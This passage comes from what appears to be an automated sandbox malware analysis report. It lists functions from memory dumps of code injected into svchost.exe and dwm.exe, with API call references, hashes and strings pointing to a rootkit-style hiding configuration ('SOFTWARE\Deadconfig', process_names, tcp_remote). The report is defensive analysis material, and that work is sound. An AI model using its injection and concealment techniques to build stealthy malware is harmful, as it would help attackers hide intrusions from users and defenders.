Opcode Fuzzy Hash: 25d11f289d9fbfcfef02ead22fd34e1bae26a1daa0a4a5c4d43c16fe266dba3e
Instruction Fuzzy Hash: 9C11C621B00B9082EE15DB66940D159B7F4FB8AFA5F5D4224DE5A63794EF3CC046C340

Function 000002A661301268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002A66130126E
HeapAlloc.KERNEL32 ref: 000002A66130127D
GetProcessHeap.KERNEL32 ref: 000002A661301297
HeapAlloc.KERNEL32 ref: 000002A6613012A8

Memory Dump Source

Source File: 0000000E.00000002.2968922612.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000E.00000002.2967816934.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2970326753.000002A661313000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2971491152.000002A66131D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2972526658.000002A66131F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2973592972.000002A661325000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a661300000_svchost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: f083a3077c0b1c945921efc18f57caeeb55b99edd70e436b0099e2dca6254ff4
Instruction ID: 63ff9d481e95397834e2372ea7ee673de7580b85bc3560669ddf9eae868a6466
Opcode Fuzzy Hash: f083a3077c0b1c945921efc18f57caeeb55b99edd70e436b0099e2dca6254ff4
Instruction Fuzzy Hash: FEE0C271B11A4087E708EBA2D81D3597BE5EB8AF69F498024C94A07360DF7D849D8B91

Function 000002A661301000 Relevance: 5.0, APIs: 4, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002A661301006
HeapAlloc.KERNEL32 ref: 000002A661301015
GetProcessHeap.KERNEL32 ref: 000002A661301028
HeapAlloc.KERNEL32 ref: 000002A661301037

Memory Dump Source

Source File: 0000000E.00000002.2968922612.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000E.00000002.2967816934.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2970326753.000002A661313000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2971491152.000002A66131D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2972526658.000002A66131F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2973592972.000002A661325000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a661300000_svchost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 8415c691aaee8c46f1d02063215c92c698de3b3fb4a93955248209b4c764c50b
Instruction ID: eaafdf4d04fa0db3b3ce82b686db906f9ee0fc88b57b7922fe41d943d2117609
Opcode Fuzzy Hash: 8415c691aaee8c46f1d02063215c92c698de3b3fb4a93955248209b4c764c50b
Instruction Fuzzy Hash: 63E0E571B11A4087E708EB62D80D25977B5FF8AF25F488034C90A07320EF3C849D8A11

Analysis Process: dwm.exePID: 988, Parent PID: 6968COMMON

Executed Functions

Function 000002BAAF2129B0 Relevance: 3.1, APIs: 2, Instructions: 64
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtEnumerateValueKey.NTDLL ref: 000002BAAF2129EF
NtEnumerateValueKey.NTDLL ref: 000002BAAF212A23

Memory Dump Source

Source File: 00000010.00000002.3043801395.000002BAAF211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAF210000, based on PE: true

Associated: 00000010.00000002.3043750231.000002BAAF210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043868250.000002BAAF223000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043918151.000002BAAF22D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043973225.000002BAAF22F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3044026212.000002BAAF235000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2baaf210000_dwm.jbxd

Similarity

API ID: EnumerateValue
String ID:
API String ID: 1749906896-0
Opcode ID: c7d29f1da1c35067c358ffcc45280992f1212d67cf94ff1f26cc45362ca16225
Instruction ID: 7309408ef0226acababe7e25447eca8a469459f1eac334046bf6cb404a325249
Opcode Fuzzy Hash: c7d29f1da1c35067c358ffcc45280992f1212d67cf94ff1f26cc45362ca16225
Instruction Fuzzy Hash: E811813730479082EB78DB1AB85461BB3B4F388B94F444225EE89C7794EF35C88AC759

Function 000002BAAF211628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000002BAAF211633
HeapAlloc.KERNEL32 ref: 000002BAAF211642

Part of subcall function 000002BAAF211268: GetProcessHeap.KERNEL32 ref: 000002BAAF21126E
Part of subcall function 000002BAAF211268: HeapAlloc.KERNEL32 ref: 000002BAAF21127D
Part of subcall function 000002BAAF211268: GetProcessHeap.KERNEL32 ref: 000002BAAF211297
Part of subcall function 000002BAAF211268: HeapAlloc.KERNEL32 ref: 000002BAAF2112A8

Part of subcall function 000002BAAF211000: GetProcessHeap.KERNEL32 ref: 000002BAAF211006
Part of subcall function 000002BAAF211000: HeapAlloc.KERNEL32 ref: 000002BAAF211015
Part of subcall function 000002BAAF211000: GetProcessHeap.KERNEL32 ref: 000002BAAF211028
Part of subcall function 000002BAAF211000: HeapAlloc.KERNEL32 ref: 000002BAAF211037

RegOpenKeyExW.KERNELBASE ref: 000002BAAF2116B2
RegOpenKeyExW.KERNELBASE ref: 000002BAAF2116DF
RegCloseKey.ADVAPI32 ref: 000002BAAF2116F9
RegOpenKeyExW.KERNELBASE ref: 000002BAAF211719
RegCloseKey.KERNELBASE ref: 000002BAAF211734
RegOpenKeyExW.KERNELBASE ref: 000002BAAF211754
RegCloseKey.ADVAPI32 ref: 000002BAAF21176F
RegOpenKeyExW.KERNELBASE ref: 000002BAAF21178F
RegCloseKey.ADVAPI32 ref: 000002BAAF2117AA
RegOpenKeyExW.KERNELBASE ref: 000002BAAF2117CA
RegCloseKey.ADVAPI32 ref: 000002BAAF2117E5
RegOpenKeyExW.KERNELBASE ref: 000002BAAF211805
RegCloseKey.ADVAPI32 ref: 000002BAAF211820
RegOpenKeyExW.KERNELBASE ref: 000002BAAF211840
RegCloseKey.ADVAPI32 ref: 000002BAAF21185B
RegOpenKeyExW.KERNELBASE ref: 000002BAAF21187B
RegCloseKey.ADVAPI32 ref: 000002BAAF211896
RegCloseKey.KERNELBASE ref: 000002BAAF2118A0

Part of subcall function 000002BAAF2112BC: RegQueryInfoKeyW.ADVAPI32 ref: 000002BAAF211319
Part of subcall function 000002BAAF2112BC: GetProcessHeap.KERNEL32 ref: 000002BAAF211327
Part of subcall function 000002BAAF2112BC: HeapAlloc.KERNEL32 ref: 000002BAAF211338
Part of subcall function 000002BAAF2112BC: RegEnumValueW.ADVAPI32 ref: 000002BAAF211397
Part of subcall function 000002BAAF2112BC: GetProcessHeap.KERNEL32 ref: 000002BAAF2113DF
Part of subcall function 000002BAAF2112BC: HeapAlloc.KERNEL32 ref: 000002BAAF2113ED
Part of subcall function 000002BAAF2112BC: GetProcessHeap.KERNEL32 ref: 000002BAAF21140A
Part of subcall function 000002BAAF2112BC: HeapFree.KERNEL32 ref: 000002BAAF211418
Part of subcall function 000002BAAF2112BC: lstrlenW.KERNEL32 ref: 000002BAAF211421
Part of subcall function 000002BAAF2112BC: GetProcessHeap.KERNEL32 ref: 000002BAAF21142F
Part of subcall function 000002BAAF2112BC: HeapAlloc.KERNEL32 ref: 000002BAAF21143D

Strings

pid, xrefs: 000002BAAF211712
SOFTWARE\Deadconfig, xrefs: 000002BAAF211692
service_names, xrefs: 000002BAAF2117C3
udp, xrefs: 000002BAAF211874
paths, xrefs: 000002BAAF211788
startup, xrefs: 000002BAAF2116D5
tcp_remote, xrefs: 000002BAAF211839
process_names, xrefs: 000002BAAF21174D
tcp_local, xrefs: 000002BAAF2117FE

Memory Dump Source

Source File: 00000010.00000002.3043801395.000002BAAF211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAF210000, based on PE: true

Associated: 00000010.00000002.3043750231.000002BAAF210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043868250.000002BAAF223000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043918151.000002BAAF22D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043973225.000002BAAF22F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3044026212.000002BAAF235000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2baaf210000_dwm.jbxd

Similarity

API ID: Heap$CloseOpenProcess$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\Deadconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 2135414181-3864762265
Opcode ID: f4bb390ec195533d0d08c97f362a19cf980481d45eb9fb13aebdfbbaa82a3014
Instruction ID: 4199209b2c061b582fd17b60a4ec86ce2575602945635b3da4a1a40c26b59254
Opcode Fuzzy Hash: f4bb390ec195533d0d08c97f362a19cf980481d45eb9fb13aebdfbbaa82a3014
Instruction Fuzzy Hash: 6F712E37710A1086EB249F75E86869D37B8FB84B88F001121DE4DC7B69DF3AC949C769

Function 000002BAAF215F50 Relevance: 9.2, APIs: 6, Instructions: 240
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000002BAAF215F8B
GetThreadContext.KERNEL32 ref: 000002BAAF2160F5

Part of subcall function 000002BAAF215D80: GetCurrentThreadId.KERNEL32 ref: 000002BAAF215D84

Memory Dump Source

Source File: 00000010.00000002.3043801395.000002BAAF211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAF210000, based on PE: true

Associated: 00000010.00000002.3043750231.000002BAAF210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043868250.000002BAAF223000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043918151.000002BAAF22D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043973225.000002BAAF22F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3044026212.000002BAAF235000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2baaf210000_dwm.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: faa3aef994f2735bfefa3d52832d19c5bb0a04f7c42f0d6d3c76493ec733b772
Instruction ID: 853f7b503d2c817fc64b2ab44f2c7e3111b18f7eeda597877c84b76580ded37a
Opcode Fuzzy Hash: faa3aef994f2735bfefa3d52832d19c5bb0a04f7c42f0d6d3c76493ec733b772
Instruction Fuzzy Hash: 69D19C77208B8881DA749B16E4A835E7BB0F3C8B84F540116EACD87BA5CF3DC545CB19

Function 000002BAAF2154F0 Relevance: 7.8, APIs: 5, Instructions: 318
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000002BAAF215576

Memory Dump Source

Source File: 00000010.00000002.3043801395.000002BAAF211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAF210000, based on PE: true

Associated: 00000010.00000002.3043750231.000002BAAF210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043868250.000002BAAF223000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043918151.000002BAAF22D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043973225.000002BAAF22F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3044026212.000002BAAF235000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2baaf210000_dwm.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 4fa86ef1d0c8a7d39dbdef65ae79680a6f267e5e3fe5a6c699418147f46d26ed
Instruction ID: 908cd434262b72df167c1d4924d3ac3df06bb8f4633a7fd98c99c558dd714be6
Opcode Fuzzy Hash: 4fa86ef1d0c8a7d39dbdef65ae79680a6f267e5e3fe5a6c699418147f46d26ed
Instruction Fuzzy Hash: 4E02FB37219B8486EB64CB15F4A535AB7B0F3C5790F100116EA8E87BA8DF7DC488CB59

Function 000002BAAF213BB8 Relevance: 7.5, APIs: 5, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,000002BAAF213657), ref: 000002BAAF213BC6
GetCurrentProcess.KERNEL32(?,?,?,?,?,000002BAAF213657), ref: 000002BAAF213BF4
VirtualProtectEx.KERNELBASE(?,?,?,?,?,000002BAAF213657), ref: 000002BAAF213C16
GetCurrentProcess.KERNEL32(?,?,?,?,?,000002BAAF213657), ref: 000002BAAF213C34
VirtualProtectEx.KERNELBASE(?,?,?,?,?,000002BAAF213657), ref: 000002BAAF213C55

Memory Dump Source

Source File: 00000010.00000002.3043801395.000002BAAF211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAF210000, based on PE: true

Associated: 00000010.00000002.3043750231.000002BAAF210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043868250.000002BAAF223000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043918151.000002BAAF22D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043973225.000002BAAF22F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3044026212.000002BAAF235000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2baaf210000_dwm.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID:
API String ID: 1092925422-0
Opcode ID: f49a43d8567c213b337cf74c33d87ea9f8b0f1b984059dad2b4cd4689300dbc7
Instruction ID: 25c8acacec8528f1c12d002f9fa98adf4100eaee44a29a606b1e8c17c77e0aab
Opcode Fuzzy Hash: f49a43d8567c213b337cf74c33d87ea9f8b0f1b984059dad2b4cd4689300dbc7
Instruction Fuzzy Hash: C6113C3670578082EF389B25E4682697371F748F94F040025DE8D87794EF3ECA48C729

Function 000002BAAF1E2AB8 Relevance: 6.2, APIs: 4, Instructions: 241memorylibraryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 000002BAAF1E2B77
VirtualProtect.KERNELBASE ref: 000002BAAF1E2BA1
LoadLibraryA.KERNELBASE ref: 000002BAAF1E2C29
VirtualProtect.KERNELBASE ref: 000002BAAF1E2DB9

Memory Dump Source

Source File: 00000010.00000003.1817613500.000002BAAF1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAF1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_3_2baaf1e0000_dwm.jbxd

Similarity

API ID: Virtual$Protect$AllocLibraryLoad
String ID:
API String ID: 3316853933-0
Opcode ID: 24c55482e3ee7e9e3b87009127322f5f012175c8db73c85287ddc3c1b6fbd12d
Instruction ID: 80d34aad87d105a7e01ab1fbe1eb98c59553cb4cfa4e10ea0f142a24de0a8e9e
Opcode Fuzzy Hash: 24c55482e3ee7e9e3b87009127322f5f012175c8db73c85287ddc3c1b6fbd12d
Instruction Fuzzy Hash: 0B91E173B012D087EB688F25D068B79BBA1F754B94F5881269F4A8778CDB3DD842C721

Function 000002BAAF213E00 Relevance: 4.6, APIs: 3, Instructions: 64
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32 ref: 000002BAAF213E86
VirtualAlloc.KERNEL32 ref: 000002BAAF213EC0

Memory Dump Source

Source File: 00000010.00000002.3043801395.000002BAAF211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAF210000, based on PE: true

Associated: 00000010.00000002.3043750231.000002BAAF210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043868250.000002BAAF223000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043918151.000002BAAF22D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043973225.000002BAAF22F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3044026212.000002BAAF235000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2baaf210000_dwm.jbxd

Similarity

API ID: Virtual$AllocQuery
String ID:
API String ID: 31662377-0
Opcode ID: d67b081f5b52b9db25ef63bd3fc49ef94c05e675607d2408fbad0ef13c5677fc
Instruction ID: df784ed3e95d42e3b42b8af3450d978266208cc608357a861d4930b189560f5c
Opcode Fuzzy Hash: d67b081f5b52b9db25ef63bd3fc49ef94c05e675607d2408fbad0ef13c5677fc
Instruction Fuzzy Hash: 6431FC33219B8081EE38DA15E06835B77B5F788784F500525B5CD86B98DF6EC948CB2E

Function 000002BAAF213618 Relevance: 4.5, APIs: 3, Instructions: 39
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000002BAAF213631
PathFindFileNameW.SHLWAPI ref: 000002BAAF213640

Part of subcall function 000002BAAF213C70: StrCmpNIW.SHLWAPI(?,?,?,000002BAAF21255A), ref: 000002BAAF213C88

Part of subcall function 000002BAAF213BB8: GetModuleHandleW.KERNEL32(?,?,?,?,?,000002BAAF213657), ref: 000002BAAF213BC6
Part of subcall function 000002BAAF213BB8: GetCurrentProcess.KERNEL32(?,?,?,?,?,000002BAAF213657), ref: 000002BAAF213BF4
Part of subcall function 000002BAAF213BB8: VirtualProtectEx.KERNELBASE(?,?,?,?,?,000002BAAF213657), ref: 000002BAAF213C16
Part of subcall function 000002BAAF213BB8: GetCurrentProcess.KERNEL32(?,?,?,?,?,000002BAAF213657), ref: 000002BAAF213C34
Part of subcall function 000002BAAF213BB8: VirtualProtectEx.KERNELBASE(?,?,?,?,?,000002BAAF213657), ref: 000002BAAF213C55

CreateThread.KERNELBASE ref: 000002BAAF213687

Part of subcall function 000002BAAF211D3C: GetCurrentThread.KERNEL32 ref: 000002BAAF211D47

Memory Dump Source

Source File: 00000010.00000002.3043801395.000002BAAF211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAF210000, based on PE: true

Associated: 00000010.00000002.3043750231.000002BAAF210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043868250.000002BAAF223000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043918151.000002BAAF22D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043973225.000002BAAF22F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3044026212.000002BAAF235000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2baaf210000_dwm.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: 78a450f75234da4d748a8cc1e146820bb39c36540aa3f900bd2c9a3848025828
Instruction ID: ef56faf1ccb545b8658d3fc8c7fdfc82085f98ac0f5421c0dde815119c8e5451
Opcode Fuzzy Hash: 78a450f75234da4d748a8cc1e146820bb39c36540aa3f900bd2c9a3848025828
Instruction Fuzzy Hash: 5B11693261064086FF7CAB20A53D35A37B6A754344F804525A806C6290EF7BC94CC63E

Function 000002BAAF215210 Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 000002BAAF215214
VirtualProtect.KERNEL32 ref: 000002BAAF215257
FlushInstructionCache.KERNEL32 ref: 000002BAAF21526C

Memory Dump Source

Source File: 00000010.00000002.3043801395.000002BAAF211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAF210000, based on PE: true

Associated: 00000010.00000002.3043750231.000002BAAF210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043868250.000002BAAF223000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043918151.000002BAAF22D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043973225.000002BAAF22F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3044026212.000002BAAF235000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2baaf210000_dwm.jbxd

Similarity

API ID: CacheCurrentFlushInstructionProcessProtectVirtual
String ID:
API String ID: 3733156554-0
Opcode ID: 7a5fee01b1213345a503af0682c6d2ffec643d6d1f98ca0352beea81c30d0a52
Instruction ID: 6c1c517b8b39532bc1570f6a57eea27ecb378881f27f95461f418c508f3e16df
Opcode Fuzzy Hash: 7a5fee01b1213345a503af0682c6d2ffec643d6d1f98ca0352beea81c30d0a52
Instruction Fuzzy Hash: 71F03037618B0480DA34DB01E46574A77B0F3CC7D4F540111F98D47B69CB3AC298CB19

Function 000002BAAF211AC8 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000002BAAF211628: GetProcessHeap.KERNEL32 ref: 000002BAAF211633
Part of subcall function 000002BAAF211628: HeapAlloc.KERNEL32 ref: 000002BAAF211642
Part of subcall function 000002BAAF211628: RegOpenKeyExW.KERNELBASE ref: 000002BAAF2116B2
Part of subcall function 000002BAAF211628: RegOpenKeyExW.KERNELBASE ref: 000002BAAF2116DF
Part of subcall function 000002BAAF211628: RegCloseKey.ADVAPI32 ref: 000002BAAF2116F9
Part of subcall function 000002BAAF211628: RegOpenKeyExW.KERNELBASE ref: 000002BAAF211719
Part of subcall function 000002BAAF211628: RegCloseKey.KERNELBASE ref: 000002BAAF211734
Part of subcall function 000002BAAF211628: RegOpenKeyExW.KERNELBASE ref: 000002BAAF211754
Part of subcall function 000002BAAF211628: RegCloseKey.ADVAPI32 ref: 000002BAAF21176F
Part of subcall function 000002BAAF211628: RegOpenKeyExW.KERNELBASE ref: 000002BAAF21178F
Part of subcall function 000002BAAF211628: RegCloseKey.ADVAPI32 ref: 000002BAAF2117AA
Part of subcall function 000002BAAF211628: RegOpenKeyExW.KERNELBASE ref: 000002BAAF2117CA

SleepEx.KERNELBASE ref: 000002BAAF211AE3

Part of subcall function 000002BAAF211628: RegCloseKey.ADVAPI32 ref: 000002BAAF2117E5
Part of subcall function 000002BAAF211628: RegOpenKeyExW.KERNELBASE ref: 000002BAAF211805
Part of subcall function 000002BAAF211628: RegCloseKey.ADVAPI32 ref: 000002BAAF211820
Part of subcall function 000002BAAF211628: RegOpenKeyExW.KERNELBASE ref: 000002BAAF211840
Part of subcall function 000002BAAF211628: RegCloseKey.ADVAPI32 ref: 000002BAAF21185B
Part of subcall function 000002BAAF211628: RegOpenKeyExW.KERNELBASE ref: 000002BAAF21187B
Part of subcall function 000002BAAF211628: RegCloseKey.ADVAPI32 ref: 000002BAAF211896
Part of subcall function 000002BAAF211628: RegCloseKey.KERNELBASE ref: 000002BAAF2118A0

Memory Dump Source

Source File: 00000010.00000002.3043801395.000002BAAF211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAF210000, based on PE: true

Associated: 00000010.00000002.3043750231.000002BAAF210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043868250.000002BAAF223000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043918151.000002BAAF22D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043973225.000002BAAF22F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3044026212.000002BAAF235000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2baaf210000_dwm.jbxd

Similarity

API ID: CloseOpen$Heap$AllocProcessSleep
String ID:
API String ID: 948135145-0
Opcode ID: 64999c0117d7972c63d36e484e4b5c22b997d5fb2e44b7ed48be0e5086276bc0
Instruction ID: 52656d555919b3258d329d4c78e2598348f5e3d4728d7a4abf1d47675c7589a9
Opcode Fuzzy Hash: 64999c0117d7972c63d36e484e4b5c22b997d5fb2e44b7ed48be0e5086276bc0
Instruction Fuzzy Hash: 7F21FFB3201A0581FF6C9B66E97936973BDAB44BC0F0454329E09C7699EF36C459C23E

Non-executed Functions

Function 000002BAAF2181B0 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000002BAAF2181CC
RtlCaptureContext.NTDLL ref: 000002BAAF2181F9
RtlLookupFunctionEntry.NTDLL ref: 000002BAAF218213
RtlVirtualUnwind.NTDLL ref: 000002BAAF218254
IsDebuggerPresent.KERNEL32 ref: 000002BAAF2182A8
SetUnhandledExceptionFilter.KERNEL32 ref: 000002BAAF2182C9
UnhandledExceptionFilter.KERNEL32 ref: 000002BAAF2182D4

Memory Dump Source

Source File: 00000010.00000002.3043801395.000002BAAF211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAF210000, based on PE: true

Associated: 00000010.00000002.3043750231.000002BAAF210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043868250.000002BAAF223000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043918151.000002BAAF22D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043973225.000002BAAF22F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3044026212.000002BAAF235000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2baaf210000_dwm.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: ead5fadb83694ce98b6326e54bc9fbf3eb966a3b9ea24560d629fcd35623205e
Instruction ID: 2cdddfb24dcb9e58864d5c7fd66479fd0ae041404f743687f717a93430f7ff31
Opcode Fuzzy Hash: ead5fadb83694ce98b6326e54bc9fbf3eb966a3b9ea24560d629fcd35623205e
Instruction Fuzzy Hash: B7314F73205B8086EB649F60E8A47DD7374F784744F44452ADA4E87B98DF39CA4CC729

Function 000002BAAF21B62C Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000002BAAF21B6A5
RtlLookupFunctionEntry.NTDLL ref: 000002BAAF21B6BD
RtlVirtualUnwind.NTDLL ref: 000002BAAF21B6F8
IsDebuggerPresent.KERNEL32 ref: 000002BAAF21B731
SetUnhandledExceptionFilter.KERNEL32 ref: 000002BAAF21B73B
UnhandledExceptionFilter.KERNEL32 ref: 000002BAAF21B746

Memory Dump Source

Source File: 00000010.00000002.3043801395.000002BAAF211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAF210000, based on PE: true

Associated: 00000010.00000002.3043750231.000002BAAF210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043868250.000002BAAF223000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043918151.000002BAAF22D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043973225.000002BAAF22F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3044026212.000002BAAF235000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2baaf210000_dwm.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: e0d741da526e6e52bfddd8974ed83ffa82d96d60d1008cadd4c23b489aa9e4de
Instruction ID: 9860fb8d6c2153c2bec71c75c1ad87854f6e26e8922285ef653b20fa1e212338
Opcode Fuzzy Hash: e0d741da526e6e52bfddd8974ed83ffa82d96d60d1008cadd4c23b489aa9e4de
Instruction Fuzzy Hash: 94317E33214B8086EB64CF25E89479E73B0F788754F500126EA8D83BA8DF39C549CB55

Function 000002BAAF220018 Relevance: 7.8, APIs: 5, Instructions: 328fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000002BAAF220087
WriteFile.KERNEL32 ref: 000002BAAF22033E
WriteFile.KERNEL32 ref: 000002BAAF220390
GetLastError.KERNEL32 ref: 000002BAAF220492
